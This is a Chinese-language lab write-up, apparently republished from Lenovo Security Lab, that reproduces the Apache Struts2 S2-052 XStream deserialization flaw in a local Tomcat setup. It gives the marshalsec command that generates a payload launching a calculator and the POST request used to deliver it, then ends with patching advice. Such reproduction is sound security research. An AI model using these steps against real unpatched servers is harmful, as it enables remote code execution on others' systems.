联想安全实验室:Struts2 S2-052 漏洞复现
Posted 联想安全实验室
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了联想安全实验室:Struts2 S2-052 漏洞复现相关的知识,希望对你有一定的参考价值。
0X01 环境搭建
环境需要:
TOMCAT/JDK/struts-2.5.12安装包/burpsuite/Maven/marshalsec。
前期准备:
在Strtus官网上下载Strtus对应的版本,这里选择下载struts-2.5.12-all.zip
解压后进入struts-2.5.12/apps目录,选择文件struts2-rest-showcase.war,将其放入tomcat的webapps目录;启动tomcat,运行startup.bat,tomcat在启动时会自动将其解包,解压后的目录为:struts2-rest-showcase;访问127.0.0.1:8080/struts2-rest-showcase会跳转到http://127.0.0.1:8080/struts2-rest-showcase/orders,说明struts2已成功部署。
0X02 问题描述
环境需要:
问题出现在struts2-rest-plugin插件XStreamHandler处理器中的toObject()方法,其中未对传入的值进行任何限制,在使用XStream反序列化转换成对象时,这个类没有进行任何校验,直接进行了转换,导致任意代码执行漏洞。感兴趣的同学可自行下载代码进行分析,本文不做详细介绍。
0X03 漏洞复现
用marshalsec生成Payload:
使用方法:
需要先安装maven将java文件打包成jar包,首先下载maven,解压后将其放入环境变量,具体添加环境变量方法自行百度;
在github上下载marshalsec(一个生成payload的工具),解压后进入包含pom.xml文件的目录,执行mvnclean package –DskipTests生成目标jar文件,此过程需要几分钟时间;
进入target目录下找到jar文件,执行:
Java-cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO “calc” >1.txt生成的Payload即1.txt中的内容;
将1.txt中的这段XML用POST发给struts2-rest-showcase,ContentType要设置为Application/xml的,然后就可以触发Exp,弹出计算器。当命令中有空格时,提交多个<string>节点即可;
POST数据包如下:
POST/struts2-rest-showcase/orders HTTP/1.1
Host:127.0.0.1:8080
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101Firefox/54.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type:application/xml
Content-Length:2363
Referer:http://127.0.0.1:8080/struts2-rest-showcase/orders/3/edit
Cookie:JSESSIONID=781CE44DE18FC24F99DA04CC23E404B7
Connection:close
Upgrade-Insecure-Requests:1
POSTDATA为“1.txt”中的内容。
0X04 漏洞验证
如下图所示:
0X05 加固建议
升级到Apache Struts版本2.5.13或2.3.34。
不使用时删除Struts REST插件,或仅限于服务器普通页面和JSONs:
<constant name=”struts.action.extension” value=”xhtml,,json”/>
0X04 参考
http://struts.apache.org/docs/s2-052.html
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=26789&extra=page%3D1&page=1
https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-052
联想安全实验室
联想安全实验室,以控制产品安全质量为核心,研究主流安全攻防技术,构筑产品安全创新生态。实验室研究方向涵盖终端产品安全、云服务安全、IoT产品安全、大数据安全、无线网络安全等方向,专注于端到端的产品安全技术能力研究,同时安全实验室还关注工业互联网、智能交通、智慧城市、智慧家庭等方向的安全研究。
以上是关于联想安全实验室:Struts2 S2-052 漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章
网络安全预警通告Apache Struts2(S2-052) 远程代码执行漏洞